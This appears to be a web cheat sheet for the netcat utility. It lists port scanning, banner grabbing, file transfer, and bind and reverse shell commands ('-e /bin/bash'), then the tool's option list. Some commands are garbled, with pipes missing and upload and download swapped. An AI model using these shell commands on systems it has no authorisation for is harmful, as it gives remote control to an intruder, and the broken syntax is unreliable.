This resource provides you with the common and useful commands when working with the netcat utility.
Basic Usage
Command
Operation
nc [option] [host] [port]
Connect to host connect at the specified host and port
nc -lp port [host] [port]
Listen for incoming connections
nc -lv [port]
Start the server at the specified address
nc [host] [port]
Open a netcat client at the specified address and port
Banner Grabbing
Command
Operation
nc [address] [port]
TCP banner grab
`echo "" nc -zv -wl [address] [port]`
Port Scanning
Command
Operation
nc -zvn [address] [port range]
Scan the ports in the specified range
nc -zvn [address] [port1 port2 port3 portN]
Scan the specified ports
File Transfer
Command
Operation
nc -lv [address] [port] < filename
Download the specified file from the the defined address and port
nc lv [addres] [port] > filename
Upload the file to the specified address and port.
Directory Transfer
Command
Operation
tar -cvf - target_dir nc -l [poty]
Upload the specified directory as an archive
`nc -n [address] [port]
tar -xvf -`
Remote Shell
Command
Operation
nc -lv [address] [port] -e /bin/bash
Open a bash shell on the target address and port
nc [address] [port]
Connect to a remote shell on the specified address and port
Reverse Shell
Command
Operation
nc -ln 8000
Listen on the specified port
nc [address] [port] -v -e /bin/bash
Connect the bash shell on specified port and address.
Video Stream
Command
Operation
`cat video_file
nc -l [address] [port]`
`nc [address] [port]
player_name [options] `
Netcat Command Options
The following are some popular command options.
The options are as follows:
-4 Use IPv4 addresses only.
-6 Use IPv6 addresses only.
-b Allow broadcast.
-C Send CRLF as line-ending. Each line feed (LF) character from the input data is translated into CR+LF before being written to the socket. Line feed characters that are already preceded with a carriage return (CR) are not translated. Received data is not
affected.
-D Enable debugging on the socket.
-d Do not attempt to read from stdin.
-F Pass the first connected socket using sendmsg(2) to stdout and exit. This is useful in conjunction with -X to have nc perform connection setup with a proxy but then leave the rest of the connection to another program (e.g. ssh(1) using the ssh_config(5)
ProxyUseFdpass option). Cannot be used with -U.
-h Print out the nc help text and exit.
-I length
Specify the size of the TCP receive buffer.
-i interval
Sleep for interval seconds between lines of text sent and received. Also causes a delay time between connections to multiple ports.
-k When a connection is completed, listen for another one. Requires -l. When used together with the -u option, the server socket is not connected and it can receive UDP datagrams from multiple hosts.
-l Listen for an incoming connection rather than initiating a connection to a remote host. The destination and port to listen on can be specified either as non-optional arguments, or with options -s and -p respectively. Cannot be used together with -x or -z.
Additionally, any timeouts specified with the -w option are ignored.
-M ttl Set the TTL / hop limit of outgoing packets.
-m minttl
Ask the kernel to drop incoming packets whose TTL / hop limit is under minttl.
-N shutdown(2) the network socket after EOF on the input. Some servers require this to finish their work.
-n Do not perform domain name resolution. If a name cannot be resolved without DNS, an error will be reported.
-O length
Specify the size of the TCP send buffer.
-P proxy_username
Specifies a username to present to a proxy server that requires authentication. If no username is specified then authentication will not be attempted. Proxy authentication is only supported for HTTP CONNECT proxies at present.
-p source_port
Specify the source port nc should use, subject to privilege restrictions and availability.
-q seconds
after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever (default). Specifying a non-negative seconds implies -N.
-r Choose source and/or destination ports randomly instead of sequentially within a range or in the order that the system assigns them.
-S Enable the RFC 2385 TCP MD5 signature option.
-s sourceaddr
Set the source address to send packets from, which is useful on machines with multiple interfaces. For UNIX-domain datagram sockets, specifies the local temporary socket file to create and use so that datagrams can be received. Cannot be used together
with -x.
-T keyword
Change the IPv4 TOS/IPv6 traffic class value. keyword may be one of critical, inetcontrol, lowcost, lowdelay, netcontrol, throughput, reliability, or one of the DiffServ Code Points: ef, af11 ... af43, cs0 ... cs7; or a number in either hex or decimal.
-t Send RFC 854 DON'T and WON'T responses to RFC 854 DO and WILL requests. This makes it possible to use nc to script telnet sessions.
-U Use UNIX-domain sockets. Cannot be used together with -F or -x.
-u Use UDP instead of TCP. Cannot be used together with -x. For UNIX-domain sockets, use a datagram socket instead of a stream socket. If a UNIX-domain socket is used, a temporary receiving socket is created in /tmp unless the -s flag is given.
-V rtable
Set the routing table to be used.
-v Produce more verbose output.
-W recvlimit
Terminate after receiving recvlimit packets from the network.
-w timeout
Connections which cannot be established or are idle timeout after timeout seconds. The -w flag has no effect on the -l option, i.e. nc will listen forever for a connection, with or without the -w flag. The default is no timeout.
-X proxy_protocol
Use proxy_protocol when talking to the proxy server. Supported protocols are 4 (SOCKS v.4), 5 (SOCKS v.5) and connect (HTTPS proxy). If the protocol is not specified, SOCKS version 5 is used.
-x proxy_address[:port]
Connect to destination using a proxy at proxy_address and port. If port is not specified, the well-known port for the proxy protocol is used (1080 for SOCKS, 3128 for HTTPS). An IPv6 address can be specified unambiguously by enclosing proxy_address in
square brackets. A proxy cannot be used with any of the options -lsuU.
-Z DCCP mode.
-z Only scan for listening daemons, without sending any data to them. Cannot be used together with -l.
Conclusion
This is a short cheat sheet with the most common and useful netcat commands and examples. Thanks for reading. Feel free to grab a feel PDF copy of this cheat sheet in the resource below.
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